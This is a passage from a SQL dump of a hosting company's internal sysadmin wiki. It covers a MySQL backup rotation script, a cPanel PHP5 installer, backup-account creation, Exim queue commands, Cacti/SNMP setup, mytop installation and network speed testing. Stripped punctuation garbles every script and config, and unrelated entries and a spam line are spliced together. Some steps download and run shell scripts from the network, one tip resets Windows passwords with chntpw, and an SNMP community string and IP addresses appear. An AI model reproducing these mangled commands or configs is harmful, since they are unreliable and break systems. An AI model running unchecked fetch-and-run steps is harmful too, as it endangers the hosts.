note this is not complete support for mutiple executions of the script # in a single day # added mailcontent quiet option see docs for details requested by snowsam # updated path statment for compatibility with osx # added latest to additionally store the last backup to a standard location request by grant29 # ver 2 3 - 2005-11-07 # better error handling and notification of errors a long time coming # compression on backup server to mysql server communications # ver 2 2 - 2004-12-05 # changed from using depricated -n to --skip-column-names # added ability to have compressed backup backup\'s emailed out code from thomas heiserowski # added maximum attachment size setting # ver 2 1 - 2004-11-04 # fixed a bug in daily rotation when not using gzip compression fix by rob rosenfeld # ver 2 0 - 2004-07-28 # switched to using io redirection instead of pipeing the output to the logfile # added choice of compression of backups being gzip of bzip2 # switched to using functions to facilitate more functionality # added option of either gzip or bzip2 compression # ver 1 10 - 2004-07-17 # another fix for spaces in the paths fix by thomas von eyben # fixed bug when using prebackup and postbackup commands containing many arguments # ver 1 9 - 2004-05-25 # small bug fix to handle spaces in logfile path which contains spaces reported by thomas von eyben # updated docs to mention that log email can be sent to multiple email addresses # ver 1 8 - 2004-05-01 # added option to make backups restorable to alternate database names # meaning that a copy of the database can be created based on patch by rene hoffmann # seperated options into standard and advanced # removed from single file dump dbmanes because it caused an error but # this means that if db db\'s have spaces in the name they will not dump when sepdir no # added -p option to mkdir commands to create multiple subdirs without error # added disk usage and location to the bottom of the backup report # ver 1 7 - 2004-04-22 # fixed an issue where weelky backups would only work correctly if server # locale was set to english issue reported by tom ingberg # used eval for rm commands to try and resolve rotation issues # changed name of status log so multiple scripts can be run at the same time # ver 1 6 - 2004-03-14 # added prebackup and postbackup command functions patch by markpustjens # added support for backing up db db\'s with spaces in the name # patch by markpustjens # ver 1 5 - 2004-02-24 # added the ability to exclude db db\'s when the all option is used # patch by kampftitan # ver 1 4 - 2004-02-02 # project moved to sourceforge net # ver 1 3 - 2003-09-25 # added support for backing up all databases on the server without # having to list each one seperately in the configuration # added db restore instructions # ver 1 2 - 2003-03-16 # added server name to the backup log so logs from multiple servers # can be easily identified # ver 1 1 - 2003-03-13 # small bug fix in monthly report thanks stoyanski # added option to email log to any email address inspired by stoyanski # changed standard file name to sh extention # option are set using yes and no rather than 1 or 0 # ver 1 0 - 2003-01-30 # added the ability to have all databases backup to a single dump # file or seperate directory and file for each database # output is better for log keeping # ver 0 6 - 2003-01-22 # bug fix for daily directory added in ver 0 5 rotation # ver 0 5 - 2003-01-20 # added daily directory for daily backups for neatness suggestion by jason # added dbhost option to allow backing up a remote server suggestion by jason # added --quote-names option to mysqldump command # bug fix for handling the last and first of the year week rotation # ver 0 4 - 2002-11-06 # added the abaility for the script to create its own directory structure # ver 0 3 - 2002-10-01 # changed naming of weekly backups so they will show in order # ver 0 2 - 2002-09-27 # corrected weekly rotation logic to handle weeks 0 - 10 # ver 0 1 - 2002-09-21 # initial release # # # # # # should not need to be modified from here down # # # # path usr local bin usr bin bin usr local mysql bin date date y- m- d_ hh mm # datestamp e g 2002-09-21 dow date a # day of the week e g monday dnow date u # day number of the week 1 to 7 where 1 represents monday dom date d # date of the month e g 27 m date b # month e g january w date v # week number e g 37 ver 2 5 # version number logfile backupdir dbhost- date n log # logfile name logerr backupdir errors_ dbhost- date n log # logfile name backupfiles opt --quote-names --opt # opt string for use with mysqldump see man mysqldump # add --compress mysqldump option to opt if commcomp yes ; then opt opt --compress fi # add --compress mysqldump option to opt if max_allowed_packet ; then opt opt --max_allowed_packet max_allowed_packet fi # create required directories if -e backupdir # check backup directory exists then mkdir -p backupdir fi if -e backupdir daily # check daily directory exists then mkdir -p backupdir daily fi if -e backupdir weekly # check weekly directory exists then mkdir -p backupdir weekly fi if -e backupdir monthly # check monthly directory exists then mkdir -p backupdir monthly fi if latest yes then if -e backupdir latest # check latest directory exists then mkdir -p backupdir latest fi eval rm -fv backupdir latest fi # io redirection for logging touch logfile exec 6 &1 # link file descriptor #6 with stdout # saves stdout exec logfile # stdout replaced with file logfile touch logerr exec 7 &2 # link file descriptor #7 with stderr # saves stderr exec 2 logerr # stderr replaced with file logerr # functions # database dump function dbdump mysqldump --user username --password password --host dbhost opt 1 2 return 0 # compression function plus latest copy suffix compression if comp gzip ; then gzip -f 1 echo echo backup information for 1 gzip -l 1 gz suffix gz elif comp bzip2 ; then echo compression information for 1 bz2 bzip2 -f -v 1 2 &1 suffix bz2 else echo no compression option set check advanced settings fi if latest yes ; then cp 1 suffix backupdir latest fi return 0 # run command before we begin if prebackup then echo echo prebackup command output echo eval prebackup echo echo echo fi if sepdir yes ; then # check if create databse should be included in dump if create_database no ; then opt opt --no-create-db else opt opt --databases fi else opt opt --databases fi # hostname for log information if dbhost localhost ; then host hostname if socket ; then opt opt --socket socket fi else host dbhost fi # if backing up all dbs on the server if dbnames all ; then dbnames mysql --user username --password password --host dbhost --batch --skip-column-names -e show databases sed \'s g\' # if dbs are excluded for exclude in dbexclude do dbnames echo dbnames sed s b exclude b g done mdbnames dbnames fi echo echo automysqlbackup ver ver echo echo echo backup of database server - host echo # test is seperate db backups are required if sepdir yes ; then echo backup start time date echo # monthly full backup of all databases if dom 01 ; then for mdb in mdbnames do # prepare db for using mdb echo mdb sed \'s g\' if -e backupdir monthly mdb # check monthly db directory exists then mkdir -p backupdir monthly mdb fi echo monthly backup of mdb dbdump mdb backupdir monthly mdb mdb _ date m mdb sql compression backupdir monthly mdb mdb _ date m mdb sql backupfiles backupfiles backupdir monthly mdb mdb _ date m mdb sql suffix echo ---------------------------------------------------------------------- done fi for db in dbnames do # prepare db for using db echo db sed \'s g\' # create seperate directory for each db if -e backupdir daily db # check daily db directory exists then mkdir -p backupdir daily db fi if -e backupdir weekly db # check weekly db directory exists then mkdir -p backupdir weekly db fi # weekly backup if dnow doweekly ; then echo weekly backup of database db echo rotating 5 weeks backups if w -le 05 ;then remw expr 48 w elif w -lt 15 ;then remw 0 expr w - 5 else remw expr w - 5 fi eval rm -fv backupdir weekly db_week remw echo dbdump db backupdir weekly db db _week w date sql compression backupdir weekly db db _week w date sql backupfiles backupfiles backupdir weekly db db _week w date sql suffix echo ---------------------------------------------------------------------- # daily backup else echo daily backup of database db echo rotating last weeks backup eval rm -fv backupdir daily db dow sql echo dbdump db backupdir daily db db _ date dow sql compression backupdir daily db db _ date dow sql backupfiles backupfiles backupdir daily db db _ date dow sql suffix echo ---------------------------------------------------------------------- fi done echo backup end date echo else # one backup file for all dbs echo backup start date echo # monthly full backup of all databases if dom 01 ; then echo monthly full backup of mdbnames dbdump mdbnames backupdir monthly date m all-databases sql compression backupdir monthly date m all-databases sql backupfiles backupfiles backupdir monthly date m all-databases sql suffix echo ---------------------------------------------------------------------- fi # weekly backup if dnow doweekly ; then echo weekly backup of databases dbnames echo echo rotating 5 weeks backups if w -le 05 ;then remw expr 48 w elif w -lt 15 ;then remw 0 expr w - 5 else remw expr w - 5 fi eval rm -fv backupdir weekly week remw echo dbdump dbnames backupdir weekly week w date sql compression backupdir weekly week w date sql backupfiles backupfiles backupdir weekly week w date sql suffix echo ---------------------------------------------------------------------- # daily backup else echo daily backup of databases dbnames echo echo rotating last weeks backup eval rm -fv backupdir daily dow sql echo dbdump dbnames backupdir daily date dow sql compression backupdir daily date dow sql backupfiles backupfiles backupdir daily date dow sql suffix echo ---------------------------------------------------------------------- fi echo backup end time date echo fi echo total disk space used for backup storage echo size - location echo du -hs backupdir echo echo echo if you find automysqlbackup valuable please make a donation at echo echo # run command when we\'re done if postbackup then echo echo postbackup command output echo eval postbackup echo echo fi #clean up io redirection exec 1 &6 6 &- # restore stdout and close file descriptor #6 exec 1 &7 7 &- # restore stdout and close file descriptor #7 if mailcontent files then if -s logerr then # include error log if is larger than zero backupfiles backupfiles logerr errornote warning error reported - fi #get backup size attsize du -c backupfiles grep digit space total sed s s total if maxattsize -ge attsize then backupfiles echo backupfiles sed -e s# # -a #g #enable multiple attachments mutt -s errornote mysql backup log and sql files for host - date backupfiles mailaddr logfile #send via mutt else cat logfile mail -s warning - mysql backup exceeds set maximum attachment size on host - date mailaddr fi elif mailcontent log then cat logfile mail -s mysql backup log for host - date mailaddr if -s logerr then cat logerr mail -s errors reported mysql backup error log for host - date mailaddr fi elif mailcontent quiet then if -s logerr then cat logerr mail -s errors reported mysql backup error log for host - date mailaddr cat logfile mail -s mysql backup log for host - date mailaddr fi else if -s logerr then cat logfile echo echo ###### warning ###### echo errors reported during automysqlbackup execution backup failed echo error log below cat logerr else cat logfile fi fi if -s logerr then status 1 else status 0 fi # clean up logfile eval rm -f logfile eval rm -f logerr exit status '),(74,'sago stuff list',' wikis to write adding range files to cpanel centos - ticket #83652 - to ip engineers adding spf records in cpanel drive not ready error messages projects projects projects imai and soe to use on dells for serial console access through bmc impi rev b1 motherboards lvm on installs tickless kernel options trip to atl research research research '),(75,'cpanel installing php5 and php4',' this is from # bin sh # # copyright c 2005 richard gannon all rights reserved # # author richard gannon # # this script will install php5 as a cgi on a cpanel server using the same configure # selections as the already built php4 you can have php scripts utilize the php5 # engine by using the php5 extension # # version 1 1 # ## php_version 5 0 5 wget usr bin wget grep bin grep tar bin tar awk bin awk cd usr src wget -o php tbz2 php_version tar bz2 from this mirror tar -xjvf php tbz2 rm -f php tbz2 wget php_version -mail-header patch cd php- php_version patch -p1 usr src php- php_version -mail-header patch rm -f usr src php- php_version -mail-header patch if -e usr local bin php ; then php usr local bin php else php usr bin php fi cfg php -i grep configure sed s \' g sed s configure --with-apxs apxs 1 2 cfgline cfg## --prefix usr local php5 --exec-prefix usr local php5 --program-suffix 5 --enable-force-cgi-redirect --enable-discard-path configure cfgline make make install cp -f php ini-recommended usr local php5 lib php ini cp usr local php5 bin php5 usr local cpanel cgi-sys php5 chown root wheel usr local cpanel cgi-sys php5 php5conf grep php5 conf usr local apache conf httpd conf if php5conf ; then echo action application x-httpd-php5 cgi-sys php5 usr local apache conf php5 conf echo addtype application x-httpd-php5 php5 usr local apache conf php5 conf echo include usr local apache conf php5 conf usr local apache conf httpd conf fi configtest etc init d httpd configtest grep -m1 syntax awk \' print 2 \' if configtest ok ; then echo restarting apache now etc init d httpd restart echo done enjoy php5 else echo there may have been a problem with this installation echo please check the httpd conf for syntax with \' etc init d httpd configtest\' fi exit 0 '),(76,'wiki index php',' wanna watch over 3000 tv station here check - watch tv online 3000 stations georget '),(77,'creating backup user accounts',' creating backup user accounts there is a script go felipe on each storage server located in home sagotech called addbackupuser which will create the user account create the forward email file and set the quota for the new user you can use this script to automate this task or do it manually using the instructions below note you still must manually set the password for the account also the script does not have a remove account option see section below on removing accounts you must modify the ubersmith meta data to show the account correctly see section below manually creating backup user accounts are you sure you don\'t want to use the script mentioned above okay login to the storage server with root privileges type the following usr sbin useradd -d backup username -s usr bin rssh username run the password command to create the user user\'s password passwd username change the password to whatever the customer wants or a secure random password if the customer has no preference set the quota for the customer see quota section setting the quotas manually setting the quotas manually setting the quotas manually see checknig changing quotas the scripts makes this much easier updating ubersmith updating ubersmith updating ubersmith modify the backup service description so it includes both the backup server the account is on and the account name for example 6450 generic data backup - storage1 sagonet com - kpeople bac1 03 14 2008 04 14 2008 no end date set monthly 5 00 0 00 quick edit details removing users removing users removing users bash-3 1# usr sbin userdel username don\'t forget to manually remove the directory too bash-3 1# rm -rf backup username add backupuser script add backupuser script add backupuser script for posterity # bin bash #creating the user with home directory backup username and rssh login command uses first input for username useradd -d backup 1 -s usr bin rssh 1 #asking for the customer customer\'s email address echo please type 1 email address read email #adding the forward file in the user user\'s home directory echo email backup 1 forward #changing the permission so that it is owed by the user bin chown 1 1 backup 1 forward #asking for the customer customer\'s quota size in gb echo please enter quota size for 1 in gb read quotasize #using 2nd input to create the quotaspace in bytes quotaspace expr quotasize 1024 1024 #setting quota for the user setquota -u 1 quotaspace quotaspace 0 0 -a '),(78,'checknig changing quotas',' this has been replaced with linux file system quotas to check quotas of a user type repquota -a this will show a list of all users and the quotas assigned to them to change the quota for a user type edquota username this command will bring you into a vi editor so you can edit the user user\'s quotas change the soft and hard limits to what the customer is provisioned for if you are not sure of the limits you can calculate them or look at the limits for another customer who has the same amount of space and use the same '),(79,'exim tools',' queue information to print a count of the messages in the queue root localhost# exim -bpc print a listing of the messages in the queue time queued size message-id sender recipient root localhost# exim -bp print a summary of messages in the queue count volume oldest newest domain and totals root localhost# exim -bp exiqsumm generate and display exim stats from a logfile root localhost# eximstats var log exim_mainlog same as above with less verbose output root localhost# eximstats -ne -nr -nt var log exim_mainlog same as above for one particular day root localhost# fgrep yyyy-mm-dd var log exim_mainlog eximstats print what exim is doing right now root localhost# exiwhat searching the queue searching the queue searching the queue search the queue for messages from a specific sender root localhost# exiqgrep -f luser domain search the queue for messages for a specific recipient domain root localhost# exiqgrep -r luser domain to print just the message-id of the entire queue root localhost# exiqgrep -i managing the queue managing the queue managing the queue start a queue run root localhost# exim -q -v start a queue run for just local deliveries root localhost# exim -ql -v remove a message from the queue root localhost# exim -mrm freeze a message root localhost# exim -mf deliver a specific message root localhost# exim -m force a message to fail and bounce root localhost# exim -mg remove all frozen messages root localhost# exiqgrep -z -i xargs exim -mrm freeze all queued mail from a given sender root localhost# exiqgrep -i -f luser example tld xargs exim -mf view a message message\'s headers root localhost# exim -mvh view a message message\'s body root localhost# exim -mvb view a message message\'s logs root localhost# exim -mvl '),(80,'cacti snmp monitoring',' steps for setting up cacti from sago networks cacti kb 1 login to both the server and cacti 2 install snmpd on the server centos yum -y install net-snmp-utils debian ubuntu apt-get install freebsd cd usr ports net net-snmp-utils ; make install clean windows who knows 3 configure snmp making note of a random community string on first line etc snmp snmpd conf or usr local etc snmpd conf respectively here is an example com2sec notconfiguser default esoo4air group notconfiggroup v1 notconfiguser group notconfiggroup v2c notconfiguser view all included 1 access notconfiggroup any noauth exact all none none view all included 1 4 ensure that the firewall is open for udp port 161 to stats cust sagonet com 65 110 32 145 here is the line for apf in the allow hosts file #sago service resource monitoring udp in d 161 s 65 110 32 145 5 ensure snmpd is on and that it will start on on boot etc init d snmpd restart chkconfig snmpd on 6 add a new device in cacti by clicking on devices on the left then clicking add 7 fill in all the fields for host template choose local linux machine for snmp options choose version 2 and put in that community string from step 3 into the appropriate field then click create 8 click on the device that you have made in the list and click create graphs 9 selected the checkboxes for all the graphs and click create 10 click console then graph tree 11 click add type in the customer customer\'s name then create 12 click add and add the customer customer\'s server to the tree entry when you are done click save at the bottom 13 wait 5 minutes and then check back to make sure each graph is showing there likely will be one or two that do not graph go to the console button at the top then graph management and remove those specific graphs no one likes a blank graph 14 click console at the top then user management then add 15 fill in username full name and password then check the enabled checkbox check view graphs at the bottom then click create 16 click the username you just created then click graph permissions 17 for tree permission pull down the pulldown box select the tree entry then click add 18 for graph permissions by device pull down the pulldown box select the server then click add 19 log out and log back in with the user account you just created and ensure you can see only the graph tree and item for this customer 20 send information to customer through a ticket '),(81,'loop mounted virtual partition manager',' loopmounted has several great projects for os deployment site for the partition tool in lvmp project home page sourceforge download page ah you may say to yourself that that\'s great except what if damn server doesn\'t pxe boot what if the switch is not on the install vlan what if there are other pxe issues what if i want as many options as flavors of doritos well outside the fact that you can enable pxe with a bios update & proper config on almost all the boards we have there is yet another solution that gives you a fully functioning gui live environment with no cd needed it it\'s called lvpm - loop mounted virtual partition manager and you you have to do is install one rpm yes one rpm yea i know - its sick you install one rpm or deb package that installs a full separate boot image and modifies grub on the server just reboot select the new environment and boot it and viola\' you boot into a live gui environment with gpartd partd grub installer a shell firefox etc etc is it really that easy yep - easy like this 1 wget or wget or - easier to remember 2 install that package rpm -ivh unetbootin-partitionmanagerrev146-2 noarch rpm 3 reboot and see it now available as a grub option select it and boot up 4 bam - you will now be in the environment you can start networking with the icon on the tool bar and launch the visual partitioner gpartd use the other tools etc this just downloads the image for the environment modifies grub to point to it and bob bob\'s your uncle live cds are pretty much a waste of time outside complete disasters with pxe linux and with this loop mounted virtual partition manager have a lot of fun pete kyle anderson wrote that our pxe linux environment can be used in place of a live cd you can just get on pxe get the thing loaded then change back to the customer customer\'s ethernet and set his ips set a password and then turn on ssh ask me if you can\'t figure out how did you also know that you can use it to repartition servers non-destructively just load it and run startx gparted is in the menu just right click to get the menu did you also know that you can use it to reset windows passwords mount the ntfs partition cd to the windows system32 directory or whatever and run the chntpw command roxors so really stop hunting around for scratched up knoppix cds and non-booting usb-cdroms pxe is the future '),(82,'linux account management',' some good references on managing accounts and permissions january 1 1970 start of unix epoch '),(83,'network monitoring tools',' a pdf presentation of managing on ip networks with free software the pdf contains numerous references to various tools including one which makes graphs given various types of input files rancid network scanning '),(84,'system integrity monitor',' system integrity monitor is installed as part of the sago server hardening script this tool is distributed by the same guys that make apf if you install sim you must ensure you configure it correctly the package is normally unzipped into root and install runs from there by default it will be installed to usr local sim the config file is normally at usr local sim conf sim setup there is a setup script in the unzip directory that can be run for initial setup or to reconfigure after the initial hardening script is run # setup -i install -q quick install -u uninstall -c install uninstall cronjob the setup will ask you what services you want to monitor how many times they should be restarted etc you also set the load factors at which you want notification sent etc defaults you can\'t just accept all the defaults that won\'t work you have to check and see for example what mail server ftp server etc the client is using and enter full paths to those so when you configure it just ctl-z out and verify their environment and bring the setup back to fore ground and input correct values process monitoring sim does not monitor ports it monitors running processes by name if you don\'t tell it the right process name - it won\'t work using after the initial set up you can verify things are working by running sim with it it\'s options -bash-3 00# sim sim 2 5-4 usage usr local sbin sim -q quiet mode -v verbose mode -c clear data & log files -l display log file -s display status information -u check for sim updates -j install remove sim cronjob how it runs sim does not run as a daemon and you won\'t see it running as a process usually as it is simple run periodically from cron so you can modify this in etc cron daily if i recall right sample conf sim coming soon to a theater near you '),(85,'pxe boot server',' some good general guides to setting up a pxe environment open suse 10 3 open suse 10 3 open suse 10 3 instructions for setting up dhcpd tftp etc and a general guide are at install with yast syslinux tftp yast2-tftp-server dhcp-server yast2-dhcp-server make the two directories tftpboot pxelinux cfg create a file named default there callandor tftpboot pxelinux cfg # cat default default linux prompt 1 timeout 30 label linux kernel linux append initrd initrd splash silent showopts additional menu config files can be created in the pxelinux cfg directory configure dhcpd server configure dhcpd server configure dhcpd server note if you run yast after configuring this file it will be over written save a copy of a working version so it will be lost etc dhcpd conf suse 10 3 config option domain-name-servers 66 118 170 2; option routers 192 168 2 1; ddns-update-style none; default-lease-time 14400; subnet 192 168 2 0 netmask 255 255 255 0 range 192 168 2 20 192 168 2 40; default-lease-time 14400; max-lease-time 172800; next-server 192 168 2 5; server-name 192 168 1 5 ; filename pxelinux 0 ; three arguments are needed for pxe booting in addition to the regular dhcpd configs if the pxe boot is very slow and lists each file being searched for for quite a while ensure the next-server argument is set the last two server-name and filename are required for pxe here is a slightly different config for suse 11 this adds host clauses which permanently bind static ip addresses to specific hosts option domain-name house com ; option domain-name-servers 192 168 2 3 66 118 170 2; option routers 192 168 2 1; option ip-forwarding on; default-lease-time 14400; ddns-update-style none; next-server 192 168 2 3; subnet 192 168 2 0 netmask 255 255 255 0 range 192 168 2 50 192 168 2 60; default-lease-time 14400; max-lease-time 172800; filename pxelinux 0 ; host callandor hardware ethernet 00 11 09 dc 71 4c; fixed-address 192 168 2 3; host appleg4 hardware ethernet 00 03 93 56 47 28; fixed-address 192 168 2 11; to bind the dhcp server to a specific nic edit etc sysconfig dhcpd to include dhcpdargs eth1 tftp server tftp server tftp server this is extremely easy to set up you can install either the basic tftp server from yast or atftp also install the tftp server yast control panel plug in if using the basic server it is configured in as an xinit d service in etc xinetd d tftp if using aftp there is a separate config file in etc sysconfig atftpd - a bare bones one would contain atftpd_options --daemon atftpd_use_inetd no atftpd_directory tftpboot atftpd_bind_addresses note you can specify a user to run it as such as atftpd_options --daemon --user tftp -v however ensure this user is created on the system i just run it as root starting & verifying services starting & verifying services starting & verifying services dhcp and tftp servers can be started from yast the dhcp server can also be invoked with #rcdhcpd restart there is no init script for tftp - it runs from etc xinetd d verify they are both running with #netstat -tuple udp 0 0 bootps root 321347 9804 dhcpd udp 0 0 tftp root 143287 5344 xinetd troubleshooting troubleshooting troubleshooting watch var log messages for dhcp and tftp server information and errors here you will see the dhcp lease discovery offer request and acknowledge dora packets as well as tftp server messages if you get an ip address on the client but a message that the configuration file can not be found then verify permissions on the tftp or tftpboot folder and sub folders are correct they should be 755 minimum otherwise the tftp server may not be able to traverse directories to get to the default file to server typically tftpboot pxelinux cfg default if you don\'t get an ip then verify your etc dhcpd conf file is correct and disable your firewall or ensure the port is open graphical pxe menus graphical pxe menus graphical pxe menus this site has some fancy howtos on making colorfull pxe screens with munus etc this is actual a virtual machine you run that will help create a whole color pxe menu environment with a splash screen converter etc another method for making custom splash screens can be found at specifying colors in syslinux is tricky you do not use standard bash style escape sequence instead you have to use display in syslinux to display a filename txt in that file you can pass some color arguments using the format discribed at the trick is that if you create the file in vi in order to enter the si control code to prefix the color codes you have to use a special vi sequence this is done in insert mode by first pressing ctrl-v followed by the control code you want to insert or in this case ctrl-o for the ascii si sequence needed kiwi pxe kiwi pxe kiwi pxe ubuntu pxe server ubuntu pxe server ubuntu pxe server '),(86,'mytop - sql monitor',' updated now install mytop now in less than a minute i wrote a script to do the steps below using the current versions of the required perl dependencies if it does not work then you can do the steps below which are pretty easy superfast method 1 wget ks sagonet com mytop mytopinstall sh 2 bash mytopinstall sh 3 there is no step three this appears to work fine on centos 4 6 & cpanel boxes if not it it\'s not hard to do - read on installing mytop in less than 10 minutes mytop is a process monitor for mysql similar to top it is very useful but is rather a pain in the ass to install as it has a lot of perl module dependencies and of course they may in fact be installed but trying to install mytop will likely say they are not this can be solved with correcting perl module dependencies fail you can\'t just install the perl modules in cpanel as they won\'t be registered in the rpm database so you will still get errors when you try to install mytop you can install this very quickly as all the dependencies can be resolved quickly using this method the fast way of resolving the dependencies is installing mytop 1 ensure perl is not listed in exclusions in etc yum conf remove it temporarily and put it back in when done 2 now install perl-dbi just from base yum install perl-dbi it should find it fine - if so install from here other wise add the repos below it is also in dag 3 install perl-termreadkey-2 30-1 i386 rpm wget www timelordz com scripts perl-termreadkey-2 30-1 i386 rpm or wget ks sagonet com mytop perl-termreadkey-2 30-1 i386 rpm or build it yourself using cpan2rpm etc updated repo setup steps 4 and 5 are updated as follows rather than manually entering the repos for dag ane dries you can now just install an rpm to set up rpmforge set up the rpmforge repo - just wget the proper rpmforge rpm from here import the gpg key for rpmforge for you centos version 4 add dag and dries to etc yum conf like this remove these when done or set enable 0 # put your repos here or in separate files named file repo # in etc yum repos d dag name dag rpm repository for red hat enterprise linux baseurl releasever en basearch dag gpgcheck 1 enabled 1 dries name extra fedora rpms dries - releasever - basearch baseurl gpgcheck 1 enabled 1 5 install the gpg key for dag rpm -uhv 6 finally - install mytop yum install mytop it should find and install it from dag fine now some color output features have additional perl module dependencies now that it is installed you should be able to install those with cpan yum or cpan2rpm 7 cleanup - remove disable dag and dries from etc yum conf and put perl back in exclusions now have fun with mytop '),(87,'network speed test',' speed test tools there are a number of tools for testing network speeds the simplest is to just grab a file using wget the output of which will display the transfer speed you can just put a 5 or 10mb file on one of your servers in a web directory and then wget that file from another server to make an arbitrary size file you can use #dd if dev zero of 10meg test bs 1024k count 10 will create a 10mb file change count to any size you like now from another server wget that file you just made archimedes anduril wget 66 118 10 130 10meg test --07 40 02-- 10meg test\' connecting to 66 118 10 130 80 connected http request sent awaiting response 200 ok length 10 485 760 10m text plain 100 10 485 760 8 86m s 07 40 03 8 86 mb s - 10meg test\' saved 10485760 10485760 this shows the file was downloaded at 8 8mb sec try a test download from our network 5mb test download file - wget 10mb test download file - wget 50mb test download file - wget extended speed testing extended speed testing extended speed testing wget is certainly fine in many cases however another tool to use is nttcp - a network speed diagnostic program this is easy to obtain you can apt-get install it for debian and for centos fedora suse you an easily find an rpm for it at sites like download it once on to a server and place it where you can just wget it as needed onto other servers you want to test it must be present on both sending and receiving ends note nttcp sends and receives udp on port 5037 by default ensure your firewall is configured correctly or disable it or specify open ports using the -p option using it is very simple on one end simply start it with the -i switch #nttcp -i on the other end you can run tests like this #nttcp -t -t destination-ip -t for transmit from local server #nttcp -r -t destination-ip -r for receive to local server it will output results like this root 66-118-10-0 # nttcp -t -t 66 118 10 5 bytes real s cpu s real-mbit s cpu-mbit s calls real-c s cpu-c s l 8388608 0 74 0 01 90 1597 13421 7728 2048 2751 46 409600 0 1 8388608 0 75 0 06 89 4336 1198 3084 5365 7149 75 95798 4 you can see this shows 90mbit or 9mb - transfer speeds on this server the manual page covers other options - you can designate the port to use and whether to send tcp or udp packets as well as the amount of data to send default is 8 mb use the -n switch to specify the number of buffers each of which has a default size of 4096 bytes to send if you send 2048 buffers each 4096 bytes you get 8mb so for 16mb just send 4096 buffers etc #nttcp -t -t -p 5037 -n 4096 66 118 149 130 this would -t transmit data to -p port 5037 default sending -n 4096 buffers 16mb to destination 66 118 149 130 to reverse the direction of transfer make it go from remote host to local host simple change the -t to a -r for receive iperf tool iperf can be downloaded as an rpm from sample of this test looks like so -c specifies to run the client side of the program and the server in this case is 66 118 10 20 -i interval reporting 1 second in this case -t 5 second test -r do a bidirectional test one way at a time -w specifying window size 83 3k is approx 80 mbps higher is more for example 100k would max out the nic performance to 12 5 mbps if the system can handle it and generate the traffic bash-2 05b# iperf -c 66 118 10 20 -w 83 3k -i 1 -t 5 -r ------------------------------------------------------------ server listening on tcp port 5001 tcp window size 83 3 kbyte ------------------------------------------------------------ ------------------------------------------------------------ client connecting to 66 118 10 20 tcp port 5001 tcp window size 83 4 kbyte warning requested 83 3 kbyte ------------------------------------------------------------ 5 local 207 150 10 20 port 55239 connected with 66 118 10 20 port 5001 5 0 0- 1 0 sec 9 98 mbytes 83 8 mbits sec 5 1 0- 2 0 sec 10 4 mbytes 87 1 mbits sec 5 2 0- 3 0 sec 10 4 mbytes 87 0 mbits sec 5 3 0- 4 0 sec 10 3 mbytes 86 6 mbits sec 5 4 0- 5 0 sec 10 4 mbytes 87 1 mbits sec 5 0 0- 5 0 sec 51 5 mbytes 86 3 mbits sec 4 local 207 150 10 20 port 5001 connected with 66 118 10 20 port 60513 4 0 0- 1 0 sec 10 1 mbytes 84 6 mbits sec 4 1 0- 2 0 sec 8 35 mbytes 70 1 mbits sec 4 2 0- 3 0 sec 7 12 mbytes 59 7 mbits sec 4 3 0- 4 0 sec 9 97 mbytes 83 6 mbits sec 4 4 0- 5 0 sec 10 5 mbytes 87 8 mbits sec 4 0 0- 5 0 sec 46 0 mbytes 77 2 mbits sec bash-2 05b# analysing results analysing results analysing results if you see speeds that are lower than you expect here are some things to consider a 100mbit link will show an effective transfer of approximately 80mb 100mbit 8 bits per byte - tcp udp ethernet overhead if you are testing this between servers which are both on our network you should see excellent speeds approaching link capacity if you test from a remote server or home office to your server in the dc your speeds will likely be significantly lower as you are going through many routers and networks to get to use if your internal server to server results are great and your external outside to sever results are poor it is almost certain there is an issue between you and us en route this can be with a provider having a saturated link with a temporary outage or planned service or with a number of other factors which are outside the bounds of our network so if that is the case how can you tell where the problem really is trouble shooting slow links trouble shooting slow links trouble shooting slow links if you are having slow transfer speeds we will very likely ask you for trace route or mtr results the standard trace route is great for showing which step of the route from you to your server is the bottle neck simply use callandor # traceroute 66 118 10 5 traceroute to 66 118 149 130 66 118 10 5 30 hops max 40 byte packets 1 192 168 2 1 192 168 2 1 2 250 ms 2 641 ms 1 633 ms 2 10 97 99 99 10 97 99 99 8 794 ms 14 778 ms 16 925 ms 3 gig10-0-0-2101 tampfledc-rtr2 tampflrdc rr com 65 32 29 114 19 692 ms 11 051 ms 11 321 ms 4 ge1-2-0 tampfledc-rtr4 tampflrdc rr com 65 32 13 33 15 365 ms 15 030 ms 15 316 ms 5 te-3-1 car2 tampa1 level3 net 4 79 146 1 16 050 ms 19 491 ms 12 478 ms 6 ae-7-7 ebr1 dallas1 level3 net 4 69 133 42 23 627 ms 24 856 ms 19 892 ms 7 ae-0-11 bar1 tampa1 level3 net 4 69 137 109 16 285 ms 16 814 ms 12 529 ms 8 ae-6-6 ebr2 atlanta2 level3 net 4 69 137 114 37 614 ms 30 896 ms 29 215 ms 9 ae-22-52 car2 atlanta1 level3 net 4 68 103 35 29 659 ms ae-12-51 car2 atlanta1 level3 net 4 68 103 3 29 983 ms ae-22-52 car2 atlanta1 level3 net 4 68 103 35 36 124 ms 10 wbs-connect car2 atlanta1 level3 net 4 78 211 54 37 043 ms 36 982 ms 36 270 ms 11 ve40 core01a tpa sagonet net 63 246 159 41 49 014 ms 48 494 ms 41 420 ms 12 gige4 ds-b 03 tpa sagonet net 66 118 133 214 42 089 ms gige1 ds-b 03 tpa sagonet net 65 110 32 48 46 069 ms gige4 ds-b 03 tpa sagonet net 66 118 133 214 46 713 ms 13 moria 66 118 10 5 49 687 ms 46 721 ms 46 868 ms here you can see the entire route and the length of time from each hop router to the next you can also see the provider provider\'s name roadrunner level3 and then sago all the times are from 20 - 50ms if you see any in the hundreds of higher that is bad you can also use a great tool called mtr - this is easily installed for all distros from their repos or for windows from this is like running a trace rotue over and over and accumulating statistics you can pause it with p or run it for a certain number of -c counts and -r report the results callandor # mtr -c 10 -r 66 118 10 20 host callandor loss snt last avg best wrst stdev 1 192 168 2 1 0 0 10 1 5 1 5 1 5 1 7 0 1 2 10 97 96 99 0 0 10 8 7 8 6 7 8 11 5 1 1 3 gig10-0-0-2101 tampfledc-rtr 0 0 10 11 8 10 7 8 9 12 0 1 0 4 ge1-2-0 tampfledc-rtr4 tampf 0 0 10 11 7 11 3 9 2 14 4 1 6 5 te-3-1 car2 tampa1 level3 ne 0 0 10 123 5 22 1 9 0 123 5 35 6 6 ae-7-7 ebr1 dallas1 level3 n 0 0 10 10 7 13 1 10 3 32 6 6 9 7 ae-0-11 bar1 tampa1 level3 n 0 0 10 13 2 11 3 10 1 13 2 0 8 8 ae-6-6 ebr2 atlanta2 level3 0 0 10 40 9 34 7 28 7 40 9 4 5 9 ae-22-52 car2 atlanta1 level 0 0 10 29 0 79 6 28 2 199 4 